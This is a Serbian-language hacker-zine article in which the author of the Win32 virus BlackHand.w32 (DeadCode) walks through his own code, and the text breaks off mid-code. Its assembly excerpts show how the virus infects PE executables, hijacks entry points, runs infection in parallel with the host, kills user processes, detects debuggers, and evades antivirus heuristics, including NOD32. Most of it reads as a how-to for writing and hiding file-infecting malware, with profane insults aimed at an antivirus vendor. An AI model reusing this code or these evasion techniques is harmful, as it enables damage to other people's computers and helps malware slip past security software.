Copy Link
Add to Bookmark
Report
2x03 BlackHand.w32(DeadCode.a:b) Analysys
...................
...::: phearless zine #2 :::...
...............>---[ BlackHand.w32(DeadCode.a/b) Analysys ]---<...............
............................>---[ by deroko ]---<.............................
deroko[at]gmail[dot]com
http://deroko.headcoders.net
Ovako prvo i najvazenije oko ovog virusa je da nije politicke sadrzine iliti
nesto slicno kao sto su oni debili iz Sophosa rekli (kako Sophos zastupnici iz
Novog Sada -> pusite mi kurac, tako i ona debela svinjcuga iz Sophosa)
Ogradjivanje od krivicnog gonjenja :
Ovako buduci da je u nas pocela hajka na "kiber kriminal" moram da i tom delu
posvetim par reci. Ovo sto prezentujem ovde je samo plod malog istrazivanja koje
sam sproveo NA SVOM KOMPJUTERU i zelim da podelim svoje znanje sa ostalima. Ako
neko znanje koje se pominje u ovom tekstu iskoristi za nanosenje stete drugom,
ja za to ne mogu biti odgovoran. SVAKO MORA BITI ODGOVORAN SAMO ZA SVOJE POSTUPKE.
Ok to je to da krenemo na pravu stvar.
1. Uvod
2. Struktura virusa
- Infekcija
- Multi-threading
- Gasenje svih procesa
- ANTI-DEBUG
- ANTI-EMU
- ANTI-HEURISTIK
- EPO
3. Zahvalnice/Pohvalnice
4. Izvori
1. Uvod
~~~~~~~
Virus BlackHand.w32 je solidan virus koji koristi neke anti-emu i anti-debug
tehnike o kojima cu pricati u njihovom odeljku. Takodje je, mozda, medju prvim
virusima koji omogucava paralelno izvrsavanje inficiranog programa i samog virusa.
Koristi dosta naprednu tehniku EPO o kojoj ce takodje biti reci u ovom tekstu.
Virus je poslat AV kompanijama tokom 8-9 Februara 2005 godine kako bi izradili
definicije. Najbrzi je po tom pitanju bio F-Secure koji je jasno dao naziv virusu
DeadCode. Medjutim ovo ime proizilazi iz samog virusa jer on koristi 0xdeadc0de
da oznaci inficirani fajl sto je i jedno od mogucih imena tog virusa i drago mi
je sto je virus dobio naziv po sebi, a ne po nekom glupom imenu. Ovo ime skovano
je od strane F-Secure, tako da je potpuno netacna tvrdnja koju iznosi Sophos
(pusite ga Sophosari) :
"Generally the experts in our laboratories don't like to use the same name that
the virus writer may have wanted for his malware," explained Cluley. "After all,
why should we feed their egos by using the name they've embedded in their
malicious code?"
http://www.sophos.com/virusinfo/articles/deadcode.html
Smesno zar ne? Dizu mi ego? Digli su mi kurac :) Kao oni izmislili ime? Debili,
Sophosari, to ime je dao F-Secure, a ne oni... rofl, kako neko moze da bude tako
glup. Ali zahvaljujuci Sophosu za ovaj se virus culo. Hara Mrezom, jaooooooo,
mislim stvarno, toliko su jadni da im ne bi dao ni da mi ga puse.
O tome mogu samo da sanjaju.
No jebes Sophos, debili ostaju debili, idemo mi na virus... i prelazimo na glavu
2 ovog teksta
2. Struktura virusa
~~~~~~~~~~~~~~~~~~~
Pre nego sto pocnem sa izlaganjem, ja cu ovde prvo opisati strukturu celog virusa,
a posle cu uz odlomke istog da vam prikazem i kako on stvarno radi.
Naime sam virus korisiti EPO za redirekciju na samoga sebe. Posto udjemo u virus,
osnovno je da ga dekriptujemo pomocu kript kljuceva, u mom slucaju ja koristim
prostu enkripciju sa 2 kljuca i malo negiranja bitova i rotacijom istih. Veoma
prosta enkripcija da se napravi, jos prostija da se dekriptuje kad imate kljuc.
No posto virus biva dekriptovan krecemo sa izvrsavanjem istog.
Prvi i osnovni zadatak jeste da nadjemo kernel32.dll base za koji postoji vise
tehnika iz koga cemo posle pribaviti ostale osnovne procedure za rad sa virusom.
Posle nalazenja kernel32.dll base adrese krecemo u trazenje svih API adresa koje
nam trebaju za virus. Ovde postoje 3 moguca nacina trazenja. Ilicete pisati svoj
GetProcAddress i svaku tako traziti, ili cete prvo naci GetProcAddress pa preko
nje traziti ostale APIje ili cete napraviti CRC32 ili bilo koji drugi checksum i
napisati svoju GetProcAddress koja ce traziti APIje preko CRC32 ili drugog
checksuma. U blackhand.w32 ja sam se opredelio za prvo resenje jer su APIji
kriptovani zajedno sa imenom virusa, a i lakse mi je bilo prilikom debugovanja
da tako uradim i tako je ostalo i u finalnoj verziji ovog virusa.
Posle svega ovoga blackhand.w32 ide u multi threading koji je ujedno i
najzanimljiviji deo ovog virusa, i zbog cega i pisem ovaj tekst. Multi-threading
je paralelno izvrsavanje samog virusa i naseg domacina. Tako dok vi surfujete
netom sa IE, recimo, on istovremeno inficira i ostale fajlove, normalno oseca se
zastoj u radu, ali korisnik moze posumnjati da se radi o recimo kocenju sistema
usled cestog instaliranja/deinstaliranja raznoraznog software-a. Virus inficira
fajlove u trenutnom direktorijumu i svim direktirjumima u tom direktorijumu.
Tako da ako ga pokrenete u C:\ sve ce biti inficirano osim direktorijuma koji
pocinju sa WIND(windows, ako ima WINNT dir, jebiga) i izbegava fajl ntoskrnl.exe
jer se moze naci u drugim direktorijumima ako ste pokusali reversati ga sa IDA recimo.
Posle toga virus ceka da se infekcija i domacin zavrse i stampa lepu poruku koja
se moze videti na Sophosovom sajtu sa punim svojim imenom. BlackHand.w32, w32 u
nazivu virusa je bezveze stavljeno jer je virus radjen da inficira samo Win2k i
WinXP :) Predjimo na stvar ->
- Infekcija
~~~~~~~~~~~
Infekcija je najvazniji deo virusa, blackhand.w32 je u test verziji inficirao
tako sto se ubacivao u PE Header i odatle se pravi vazan. Medjutim buduci da je
u PE Header moguce staviti odredjenu velicinu virusa (manji od 4096byte -
NT_IMAGE_HEADER - SECTION_HEADER) koji mogu da variraju od programa do programa,
a blackhand.w32 je u medjuvremenu narastao, odlucio sam da kod ubacim u poslednji
section kao i vecina virusa. Medjutim i tu ima caka, recimo, mozete proveriti da
li je .rsrc section poslednji, ako jeste pomerite ga za velicinu virusa unazad,
promenite podatke u NT_OptionalHeader-u i podesite DataDirecotry koji pokazuje na
rsrc da pokazuje na novu lokaciju, isto treba uraditi i sa Sectionom koji pokazuju
na .rsrc section. Posto moj prc-ko.xp koristi istu tehniku, i buduci da sam tamo
prikazao kako radi ta infekcija, ovde cu to preskociti. Ukazacu samo na neke stvari
koje blackhand.w32 radi tokom infekcije.
1. BlackHand.w32 proverava da li je fajl koji otvara vec inficiran.
Za to ja korisitim
signature equ 0deadc0deh
Naime evo i kod koji proverava da li je fajl zarazen (40h je velicina DOS Headera)
is_infected:
mov eax, signature
mov ebx, [ebp.memptr]
add ebx, 40h
cmp dword ptr[ebx], signature
je __ret_is_infected
mov eax, valid
__ret_is_infected:
ret
Moze lepse i krace recimo cmp dword ptr[ebx+40h], signature ali nema veze, bitno
je da radi pri cemu je [ebp] adresa unutrasnje strukture koju koristim za cuvanje
vaznih podataka u okviru samog virusa.
2. Ako fajl nije zarazen, oznacimo ga zarazenim i pocnimo sa infekcijom:
mov edi, [ebp.memptr]
mov ebx, edi
add edi, 40h
mov dword ptr[edi], signature
Pri cemu ja ebx koristim kasnije kao pocetak PE Headera u celom virusu.
3. Neophodno je naci entry-point kako bi mogao da izvrsim EPO, tj. treba mi tacno
mesto EntryPointa u fajlu sacuvanom na disku, a to cini ovaj kod:
add ebx, dword ptr[ebx.MZ_lfanew]
mov [ebp.nthdr], ebx
mov esi, [ebx.NT_OptionalHeader.OH_AddressOfEntryPoint]
movzx ecx, [ebx.NT_FileHeader.FH_NumberOfSections]
add ebx, size IMAGE_NT_HEADERS
__find_entry:
cmp esi ,[ebx].SH_VirtualAddress
jb __next_section
mov edi, [ebx].SH_VirtualAddress
add edi, [ebx].SH_SizeOfRawData
cmp edi, esi
ja __copy_host
__next_section:
add ebx, size IMAGE_SECTION_HEADER
loop __find_entry
__copy_host:
Naime ->
add ebx, dword ptr[ebx.MZ_lfanew] ce nam dati offset PE headera u fajlu.
add ebx, dword ptr[ebx+3ch] moze isto, ali sam hteo bas da iskoristim do detalja
strukture koje koristi tasm :)
Pre ulaska u ovu kruznu petlju, ebx pokazuje na prvi section, ecx ima broj
sectiona, dok esi ima RVA od EntryPointa.
Zatim prosto poredimo da li je RVA sectiona manja ili jednaka sa entry point, ako
jeste gledamo da li je kraj sectiona veci od RVA entrypointa, ako jeste nasli
smo nas section. Drugim recima to mu dodje ovako uprosceno u C:
for (i=0; i < ecx, i++){
if ( [ebx.SH_VirtualAddress] <= esi && esi < ([ebx.SH_VirtualAddress]+[ebx.SH_VirtualSize]))
imamo section
else
add ebx, size IMAGE_SECTION_HEADER
}
Sad kad znamo gde i u kom sectionu je EntryPoint mozemo prosto od EntryPointa
oduzeti Virtuelnu adresu i na to dodati SH_PointerToRawData kako bi dobili tacno
mesto EntryPointa u fajlu.
sub esi, [ebx.SH_VirtualAddress]
add esi, [ebx.SH_PointerToRawData]
add esi, [ebp.memptr]
pri cemu je [ebp.memptr] pocetak mapiranog fajla u memoriji.
Dakle to je to. Nalazenje sectiona, EPO itd... za dalji tok infekcije pogledajte
kod prc-ko.xp ili pogledajte poslednji deo mog teksta o prc-ko.xp koji sam isto
napisao za drugo izdanje phearless zine #2. Dalje se necu zadrzavati ovde, jer
imate gomilu tekstova na netu kako napisati virus.
- Multi-threading
~~~~~~~~~~~~~~~~~
Najlepsa novina koju ovaj virus donosi je paralelno izvrsavanje virusa i inficiranog
programa. Za to su nam neophodne 3 funkcije. CreateThread, WaitForMultipleObjects
i CreateProcessW ili A u zavisnosti od tehnike koju primenjujete za nalazenje
putanje inficiranog programa.
Evo kako to izgleda u samom virusu:
;----------------------------------------------
;Create_infection_thread
;----------------------------------------------
mov eax, [ebp.viristart]
add eax, infection_thread - start
lea esi, [ebp.dummy]
call [ebp.pCreateThread], null, stacksize, eax, ebp, null, esi
mov [ebp.wfmo1], eax
;-----------------------------------------------
;Start new infected process
;-----------------------------------------------
call [ebp.pVirtualAlloc], null, size PROCESS_STRUCT, MEM_COMMIT, PAGE_READWRITE
mov [ebp.pinfo], eax
;---------------------------------------------------------------
;Get path to infected progy eg (C:\Program Files\IE\IEXPLOR.EXE)
;---------------------------------------------------------------
mov eax, dword ptr FS:[30h]
mov eax, dword ptr[eax+10h]
mov eax, dword ptr[eax+3ch] ;<---- eax has path!!
mov esi, [ebp.pinfo] ;<---- Process INFO STRUCT
lea edi, [esi.si_cb]
;---------------------------------------------------------
;Run infected progy but suspended now so
;I can write old data to its entry pooint and to resume it
;---------------------------------------------------------
call [ebp.pCreateProcessW], null, eax, null, null, true, CREATE_SUSPENDED, \
null, null, edi, esi
test eax, eax
jz __Exit_nice_and_clean
push [esi.pi_hThread]
pop [ebp.wfmo2]
mov eax, dword ptr FS:[30h]
mov eax, dword ptr[eax+8]
mov ebx, eax
add ebx, dword ptr[ebx.MZ_lfanew]
mov ebx, [ebx.NT_OptionalHeader.OH_AddressOfEntryPoint]
add ebx, eax
mov ecx, [ebp.viristart]
add ecx, old_host- start
lea eax, [ebp.dummy]
call [ebp.pWriteProcessMemory], [esi.pi_hProcess], ebx, ecx, host_size, eax
call [ebp.pResumeThread], [esi.pi_hThread]
lea esi, [ebp.wfmo1]
call [ebp.pWaitForMultipleObjects], 2, esi, true, INFINITE
call [ebp.pVirtualFree], [ebp.pinfo], size PROCESS_STRUCT, MEM_DECOMMIT
Naime prvo kreiramo novi Thread za infekciju preko CreateThread i pocinjemo sa
procedurom koja trazi fajlove. Trik je ovde da moramo toj proceduri predati ebp
kao argument preko CreateThread jer je ebp neophodan u ovom virusu kao pointer na
strukturu koju koristim tokom virusa. Tu se kriju razne stvari koje ovaj virus
koristi tokom svog izvrsavanja, kao sto su API adrese, globalne promenljive, itd
itd...Takodje ta struktura ima i dve promenljive a to su wfmo1 i wfmo2 koje su
veoooma bitne za WaitForMultipleObjects. Kao sto se iz koda vidi u wfmo1 ide
Handle od novo nastalog Threada... Tako smo kreirali jedan thread koji je zaduzen
za infekciju. Sad moramo napraviti CreateThread za inficirani proces. Najvise
problema po ovom pitanju sam imao sa prozorima, jer ako kreiramo Thread i pokrene
se inficirani program virus ce lepo raditi u pozadini i zavrsiti svoj rad, ali
problem nastaje kad korisnik slucajno startuje program, IE recimo, i izadje, ceo
process se gasi i nas virus se isto gasi bez zavrsenog posla. Tu sam morao da
predjem na drugu tehniku, a to je da kreiram proces koji ce izvrsiti inficirani
program i koji cemo unutar virusa cekati sa WaitForMultipleObjects. Problem resen,
koristicu CreateProcess (A ili W) za startovanje novog procesa koji cu potom cekati
ali problem je kako naci path do inficiranog procea koji cu predati CreateProcessW
ili A...Za ovaj trik trebamo zahvaliti Ratter-u iz 29a koji je prvi poceo sa
koriscenjem PEB u virusima. Takodje moze se koristiti i GetCommandLine api posto
ako se ne varam on daje punu putanju do inficiranog progama. No kako bilo odlucio
sam se za PEB/_RTL_USER_PROCESS_PARAMETERS Na FS:[30h] nalazi se PEB (Process
Environment Block) koji sadrzi mnogo sto sta interesantno za nas kao sto su adrese
dll-ova, da li je program debuggovan, adresa naseg programa itd itd... ali za nas
je najbitniji pointer na strukturu _RTL_USER_PROCESS_PARAMETERS koja na offsetu
0x38 ima sledeceg clana :
...
+0x38 ImagePathName : _UNICODE_STRING
+0x40 CommandLine : _UNICODE_STRING
...
Dakle nama je interesantan offset +0x38 -> UNICODE_STRING struktura :)
Ona izgleda ovako :
UNICODE_STRING STRUCT
len dw ?
maxlen dw ?
unicodestr dd ?
UNICODE_STRUCT ENDS
Dakle 0x38 + 4 = 0x3c i tu se nalazi pointer na unicode string do naseg programa.
Dakle ->
mov eax, dword ptr FS:[30h] ; Idemo u PEB
mov eax, dword ptr[eax+10h] ; Idemo u _RTL_USER_PROCESS_PARAMETERS
mov eax, dword ptr[eax+3ch] ; u eax imamo adresu programa
Prosto zar ne? veoma lepo i lako. Ovo radi na win2k i XP, za 9x/me nemam pojma
kako im izgleda TEB/PEB tako da najverovatnije ovo nece ni raditi na njima.
Posle mozemo prosto da pokrenemo inficirani program preko CreateProcessW ali
moramo da ga pokrenemo sa CREATE_SUSPENDED kako bi mogli da uklonimo EPO i stavimo
pravi kod tamo. Dakle -> Imamo prcess_handle dobijen preko CreateProcessW u
PRCOESS_INFOMRATION stukturu i sad cemo koristiti WriteProcessMemory da uklonimo
nas EPO, posle toga idemo lako i jasno : ResumeThread(pinfo.hThread) i program
je pokrenut, posto smo wfmo1 i wfmo2 popunili sa thread handlovima od threada
koji inficira i glavnog threada procesa koji smo startovali mozemo nonsarlantno
da pozovemo WaitForMultipleObjects i da sacekamo oba objekta (sve je na windowsu
objekt) da zavrse sa radom :
...
wfmo1 dd ?
wfmo2 dd ?
...
lea esi, [ebp.wfmo1]
call [ebp.pWaitForMultipleObjects], 2, esi, true, INFINITE
Ovo je sintaksa doticne funkcije :
DWORD WaitForMultipleObjects(
DWORD nCount, // number of handles in the object handle array
CONST HANDLE *lpHandles, // pointer to the object-handle array
BOOL bWaitAll, // wait flag
DWORD dwMilliseconds // time-out interval in milliseconds
);
Dakle prvi argument je 2 jer cekamo 2 objekta, drugi argument je pointer na niz
koji sadrzi handlove od objekata koje cekamo, Treci argument moze biti 0 ili 1
(false/true) i znaci da li cekamo sve objekte ili cekamo da bilo koji zavrsi sa
radom. Posto cekamo oba ovde ide true, a cetvrti argument znaci koliko milisecundi
da cekamo. Ako stavimo -1 iliti (0FFFFFFFFh iliti INFINITE) ovaj argument je
ignorisan i znaci da cekamo dok ne zavrse sa radom.
E to je Multi-Threading, paralelna egzekucija virusa i inficiranog programa.
- Gasenje svih procesa
~~~~~~~~~~~~~~~~~~~~~~
Ovaj deo ide ovde zato sto u originalnom virusu upravo i ide posle zavresnog rada
virusa i inficiranog programa. Posto virus pokaze svoju poruku, sledi ovaj deo.
Naime gasenje svih programa je u nacelu lako, ali ne zelimo da pogasimo sve procese
koji postoje na sistemu. U test verziji sam ignorisao user/system procese i sve
ih gasio, tako da mi se samo odjednom pojavilo :
"System received blabla ... will terminate, you have 60 seconds to save your data"
i odbrojavanje. Ahhh koji smor, ovaj moj windows, treba mu 10min da se digne,
fujjj, bas sam se izbedacio, e tad mi Sundance kaze "Ludace uzmi VMware", vmware?
wtf? jojjjj kad sam posle skapirao sta je mojoj sreci nije bilo kraja :) Sundance
legendo :)Naime posle ovog mog iskustva sam se pitao kako da ubijem samo procese
koje je pokrenuo korisnik. Moje resenje je ne tako elegantno, ali radi, a to je
da vidim da li program ima istu base_adresu kao i sam inficirani program, buduci
da sam iskljucio mogucnost da ce neki system proces da bude inficiran jer sam
nastojao da zaobidjem WIND direktorijume (opet kazem jebiga ako neko ima WINNT sysdir).
Algoritam je sledeci, i opet idemo u PEB, zar to nije magicna struktura :)
- Koristimo EnumProcesses iz psapi.dll da nadjemo sve Process IDove
- Nadjimo Process ID naseg procesa kako nebi njega slucajno ugasili
- Otvorimo saki process sa OpenProcess
- Uzmimo adresu gde se cuva ImageBaseAddress
- Koristimo ReadProcessMemory da dobijemo ImageBaseAddress od drugog procesa
- Uporedimo dobijenu ImageBaseAddress sa nasim procesom
- ako je isto -> gasimo process, ako nije -> ne diraj ga :)
Kod za to je sledeci:
enum_processes:
@pushsz <"psapi.dll">
call [ebp.pLoadLibraryA], ebx
test eax, eax
jz __ret_enum_processes
mov [ebp.psapibase], eax
@pushsz ebx, <"EnumProcesses">
call GetProc, eax, ebx
mov [ebp.pEnumProcesses], eax
call [ebp.pVirtualAlloc], null, 1024, MEM_COMMIT, PAGE_READWRITE
test eax, eax
jz __ret_enum_processes
mov [ebp.procBuff], eax
lea esi, [ebp.dummy]
call [ebp.pEnumProcesses], eax, 1024, esi
test eax, eax
jz __ret_enum_processes
xor edx, edx
mov ecx, 4
mov eax, [ebp.dummy]
div ecx
mov ecx, eax
mov ebx, dword ptr FS:[20h] ;<------our processID (don't wana terminate this process)
__loop_processes:
mov eax, [ebp.procBuff]
mov eax, dword ptr[eax+ecx*4] ;<------processID in eax
push ebx
push ecx
cmp eax, ebx
je __next_process
call [ebp.pOpenProcess], PROCESS_TERMINATE or PROCESS_VM_READ, null, eax
test eax, eax
jz __next_process
mov edx, dword ptr FS:[30h]
add edx, 8
lea esi, [ebp.dummy]
lea edi, [ebp.temp]
push eax
call [ebp.pReadProcessMemory], eax, edx, esi, 4, edi
pop eax
mov ebx, [ebp.currbase]
cmp ebx, [ebp.dummy]
jne __next_process
call [ebp.pTerminateProcess], eax, null ;Exit code for killed process
__next_process:
pop ecx
pop ebx
loop __loop_processes
call [ebp.pVirtualFree], [ebp.procBuff], 1024, MEM_DECOMMIT
__ret_enum_processes:
ret
Kako odvratan kod, ali radi :) Ko ga jebe dok radi :) Idemo polako da obasjnimo.
Prvi deo koda je isuvise lak :
Ucitavamo psapi.dll i nalazimo EnmuProcesses u njemu.
EnumProcesses prima 3 argumenta i vraca true/false :
1 -> buffer u koji se smetaju PIDovi
2 -> velicina buffera
3 -> pointer na promenljivu koja vraca (broj procesa * 4), iliti kaze nam
koliki deo buffera je popunje, u slucaju da funkcija padne (vrati
false) ova promenljiva ce nam reci koliko treba da bude buffer da bi
funkcija uspela.
Zatim moramo naci PID naseg procesa kako njega ne bi ugasili slucajno,
i idemo u TEB. Na offsetu 20h u TEB nalazi se sledeca struktura:
kd> dt nt!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : Ptr32 Void
+0x020 ClientId : _CLIENT_ID
kd> dt nt!_CLIENT_ID
+0x000 UniqueProcess : Ptr32 Void
+0x004 UniqueThread : Ptr32 Void
A IDA za GetCurrentProcessID kaze vako :
.text:77E768E9 _GetCurrentProcessId@0 proc near ; CODE XREF: UnhandledExceptionFilter(x)+364p
.text:77E768E9 mov eax, large fs:18h
.text:77E768EF mov eax, [eax+20h]
.text:77E768F2 retn
.text:77E768F2 _GetCurrentProcessId@0 endp
Dakle UniqueProcess (clan _CLIENT_ID strukture) NIJE Ptr32 Void, vec je rec o
process ID koji se tu krije i tako se dobija Process ID trenutnog procesa.
mov ebx, dword ptr FS:[20h] ; Procces ID
mov ebx, dword ptr FS:[24h] ; Thread ID
Prosto (samo sto mi Thread ID ne treba u kodu ali eto da vidite i kako se on
dobija ukratko)
xor edx, edx
mov ecx, 4
mov eax, [ebp.dummy]
div ecx
mov ecx, eax
Ovo je deo koda koji ce nam reci koliko PIDova ima u bufferu, moze i krace.
mov ecx, [ebp.dummy]
shr ecx, 2
isto kao i da delimo sa 4, ali nekako sam vise voleo da mi ceo kod bude lako
citljiv (mada je i ovo jebeno citljivo) ali nema veze, kako je bilo u pocetku
koda tako je i na kraju.
No idemo dalje, red je da udjemo u jedan loop i da dobijemo prcess handlove sa
OpenProcess i da proverimo da li otvoreni process ima isti base_address kao i
nas virus.
__loop_processes:
mov eax, [ebp.procBuff]
mov eax, dword ptr[eax+ecx*4] ;<------processID in eax
push ebx
push ecx
cmp eax, ebx ; Proveravamo da li je PID == nasem PID-u
je __next_process ; jeste? idemo na sledeci process
call [ebp.pOpenProcess], PROCESS_TERMINATE or PROCESS_VM_READ, null, eax
test eax, eax
jz __next_process ; Ako ne mozemo da otovrimo ovaj process
; idemo na sledeci
mov edx, dword ptr FS:[30h]
add edx, 8 ; edx pokazuje na adresu gde se cuva adresa
; image base
lea esi, [ebp.dummy] ; dummy i temp su pormenljive koje koristim
lea edi, [ebp.temp] ; u celom kodu
push eax ; sacuvajmo handle od otvorenog procesa
call [ebp.pReadProcessMemory], eax, edx, esi, 4, edi
pop eax ;vratimo ga nazad
mov ebx, [ebp.currbase]
cmp ebx, [ebp.dummy] ;da li su base adrese iste???
jne __next_process ;nisu :( idemo na sledeci process
;jesu : ugasimo jebeni process
call [ebp.pTerminateProcess], eax, null ;Gasi, gasi, gasi, busi, busi, busi
__next_process:
pop ecx
pop ebx
loop __loop_processes ;i ajmo sve iznova za sledeci process
Ovu tehniku sam hteo da koristim kako bi moj virus inficirao programe koji su
aktivni u memoriji ako sto bi sa VirtualAllocEx i CreateRemoteThread ubacivao
sebe i inficirao samo fajlove u direktorijumu procesa koji trci u memoriji. Ali
sam odustao, jer bi to bilo isuvise prepravljanja za virus, a iskreno mrzelo me
je da radim. No skelet za to cete mocu naci uz ovaj tekst pa ko voli nek izvoli
(skelet.asm) To je to, pogasili smo sve procese, i mozemo mirne duse izaci iz
virusa sa ExitProcess. Jos jedan dokaz da su AV kompanije glupe i da koriste
emulatore za testiranje virusa je upravo cinjenica da nisu ni provalili da posle
MessageBoxA-a ide gasenje procesa, ali ko ih jebe, ovu sophosu da im javite :)
- ANTI-DEBUG
~~~~~~~~~~~~
Anti-debug tehnike se sastoje u onemogucavanju da se kod prati kroz debugger,
postoje razne tehnike, int 3 handlovanje, proveravanje za SoftICE, itd itd...
(o tome ima dosta clanaka po netu), medjutim ja cu ovde izloziti prostu ANTI-DEBUG
tehniku koju koristim u blackhand.w32. Naime ukoliko je proces pracen kroz
debugger u PEB ce to biti oznaceno. Dakle mozemo prosto proveriti preko PEB da
li smo debugovani.
kd> dt nt!_peb
nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
+0x00c Ldr : Ptr32 _PEB_LDR_DATA
Na offsetu 2 PEBa nalazi se char BeingDebugged, ukoliko je 1 u debuggeru smo,
ukoliko je 0, nismo. Medjutim, za ovu tehniku nisam siguran da ce da radi za
SoftICE jer iskreno njega nikad nisam koristio ali po recima ljudi koji jesu,
ovo nece raditi. Prema tome, imamo prostu anti-debug tehniku koja u mom kodu
izgleda ovako:
__crypted:
mov edx, eax
call n00k_debuggie
...
n00k_debuggie:
pushad
mov eax, dword ptr FS:[30h]
movzx ebx, byte ptr[eax+2]
test ebx, ebx
jz __not_debugged
push signature
ret
__not_debugged:
popad
ret
U ebx ide vrednost koja se cuva u PEB/BeingDebugged, zatim proveravamo da li je
ebx == 0, ako jeste idemo da povratimo sve registre i prosto se vracamo na mesto
poziva, u suprotnom? na stack guramo signature (0deadc0deh) i pozivamo ret sto
ce izvrsavanje koda prebaciti na adresu 0deadc0deh sto ce prouzrokovati padanje
programa :) Pratite ovo kroz olly i gledajte kako se vas EIP menja u
DEADC0DE
- ANTI-EMU
~~~~~~~~~~
Tehnika koja se koristi kako bi se zeznuli emulatori koji nastoje da skapiraju
sta vas virus radi. Doduse ovde spada i vmware, ali moramo gledati to drugacije,
kao emulator koji koristi AV ne bi li putem heuristike nasao nas virus. Kako to
izbeci, pitate se? Pa ovako kolega Sundance je to podrucje veoma dobro istrazio,
ali ja moram reci da je ubedljivo najaca Anti-Emu tehnika koriscenje SEH i
CreateThread. Emulator ne moze da prati CreateThread, a moze se lako zakucati
ako naleti na neku ilegalnu instrukciju. Zato mnogi virus koriste SEH. Dakle
anti-emu tehnika ovog virusa je multi threading i njegov EPO koji je po svemu
sudeci specifican.
- ANTI-HEURISTIK
~~~~~~~~~~~~~~~~
Heuristika je napredna tehnika AV software koja nastoji da provali sta virus
radi i da na taj nacin prepozna maliciozni kod. *kako sam ovo lepo reko* Ovaj
odeljak o heuristici se mora podeliti na nekoliko delova jer cu ovde opisati kako
sam ja uspeo da zeznem heuristiku.
1. AH moje muke
2. AH 1. nacin
3. AH 2. nacin
4. AH 3. nacin
AH moje muke
~~~~~~~~~~~~
Prvu verziju mog blackhanda, koju sam testirao sa svojim Symantec AV software,
Corporate Editin, nije nasao, takodje sam kod caleta na kompjuteru testirao isti
sa KAVom (najnovji update tada bese) i nista, ko da ne postoji. Medjutim, Sundance
posle testiranja istog nadje da je ovaj vidljiv za NOD32,
(Sundance tebe cu u Reference da stavim :), a ne u Zahvalnice/Pohvalnice :))) ),
eto ti ga na, NOD32 ga jedini nadje preko heuristike... jao majko, skinem ja NOD32
i poce moje testiranje.
AH 1. nacin
~~~~~~~~~~~
Naime jedino od pravila Heuristike do kog sam dosao je nacin nalazenje
delta-offseta virusa. Standardna tehnika je preko jmp/call/pop instrukcija ili
samo call/pop
Primer:
jmp __calme
__jmpme: pop ebx
...
__callme: call __jmpme
ili ovako nesto
call __callme
__callme: pop ebx
Medjutim ovako nesto se da prepoznati kao virus, zato sam ja pre pop prvo ubacivao
gomilu do-nothing djubreta kao sto je ovo:
jmp __calme
__jmpme:
@garbage
pop ebx
...
__callme: call __jmpme
@garbage MACRO
nop
nop
push eax
push ebx
sub eax, eax
mov ebx, eax
pop ebx
pop eax
nop
nop
endm
i to je fino radilo, NOD32 je smanjio svoju detekciju virusa za nekih 30-40%,
ali sta sa onim ostatkom gde ga je detektovao.
AH 2. nacin
~~~~~~~~~~~
Posle malo eksperimentisanja i kapiranja heuristike, shvatih da se se proverava
poslednji section uvek za virusom. E tu sam pribegao jednom glupom resenju, koje
nije nimalo stealth ali da ga jebem radilo je, VIRUS je bio nevidljiv za AV software
Trik -> Napraviti dummy section kao poslednji. Medjutim ovo nije toliko lako,
mislim jeste, lako je, ali morate da pazite na Bound Image Data koji postoji kod
nekih programa, a krije se tacno iza PE Headera i svih Sectiona. Dobra strana sa
Image Bound-om je da se on prosto moze eliminisati iz DataDirectory-ja koji
pokazuje na njega a krije se u NT_OptionalHeader-u.
Kod za to je sledeci (ovi pisem iz glave jer moj virus ovu tehniku ne koristi vise)
memptr -> pointer na mapirani fajl
mov ebx, [ebp.memptr]
add ebx, dword ptr[ebx+3ch] ;ili [ebx.MZ_lfanew]
; da obrisemo BoundImport ako ga ima
mov [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_BoundImport.DD_VirtualAddress], 0
mov [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_BoundImport.DD_Size], 0
xor edx, edx
add eax, size IMAGE_SECTION_HEADERS
movzx ecx, [ebx.NT_FileHeader.FH_NumberOfSections]
mul ecx
mov eax, ecx
add eax, ebx
add eax, size IMAGE_NT_HEADERS
i eax sad pokazuje na mesto gde cemo dodati poslednji section, kod za to bi bio ovakav
mov dword ptr [eax], 'ored'
mov word ptr [eax+4], 'ok'
mov word ptr [eax+6], null
Dakle ocemo da ime novog sectiona bude 'deroko'
Zatim pravimo SH_sizeOfRawData = 0 i SH_PointerToRawData = 0
RVA sectiona postavljamo na kraj imaga i pravimo VirtualSize na 1000h (SectionAlignment)
mov [eax.SH_SizeOfRawData], 0
mov [eax.SH_PointerToRawData], 0
push [ebx.NT_OptionalHeader.OH_SizeOfImage]
pop [eax.SH_VirtualAddress]
mov [eax.SH_VirtualSize], 1000h
mov [eax.SH_Characteristics], IMAGE_SCN_MEM_WRITE
or [eax.SH_Characteristics], IMAGE_SCN_MEM_READ
or [eax.SH_Characteristics], IMAGE_SCN_CNT_UNINITIALIZED_DATA
Ostali clanovi IMAGE_SECTION_HEADER nisu bitni, jer je kod sasvim ok radio ovako...
Na ovaj nacin sam uspeo da sjebem NOD32, posle nekoliko neprospavanih noci,
trazeci pravo resenje...
AH 3. nacin
~~~~~~~~~~~
Hmmm ovo mi je sinulo radeci EPO, zasto bi trazili deltu u virusu kad EPO moze da
nam je da, a to nije ni sumnjivo jer je rec o izvrsavanju samog programa i idemo
na EPO odeljak
- EPO
~~~~~
EPO iliti Entry Point Obsecuring je tehnika koja se sastoji u tome da se originalan
deo koda na koji pokazuje EntryPoint prebrise kodom koji ce preusmeriti tok
izvrsavanja na virus. Moj virus radi sledece na offset 40h od pocetka fajla imamo
sledecu strukturu:
Blackhand struct
signature dd ?
virus_rva dd ?
cryptkey1 dd ?
cryptkey2 dd ?
Blackhand ends
Dakle nama su kod EPO interesantne sledece stvari -> virus_rva, i 2 kript kljuca
koja se cuvaju u samom inficiranom programu.
Kombinujuci SEH doso sam na ideju da ja ne trazim deltu vec da mi je moj EPO da.
Evo su tri moguca EPO koje moj virus koristi :
host:
sub eax, eax
test eax, eax
jz __gime_seh
__my_seh:
push dword ptr FS:[0]
mov dword ptr FS:[0], esp
mov dword ptr[eax], eax ;Access violation
__gime_seh:
call __my_seh
__seh_handler:
mov esi, [esp+0ch]
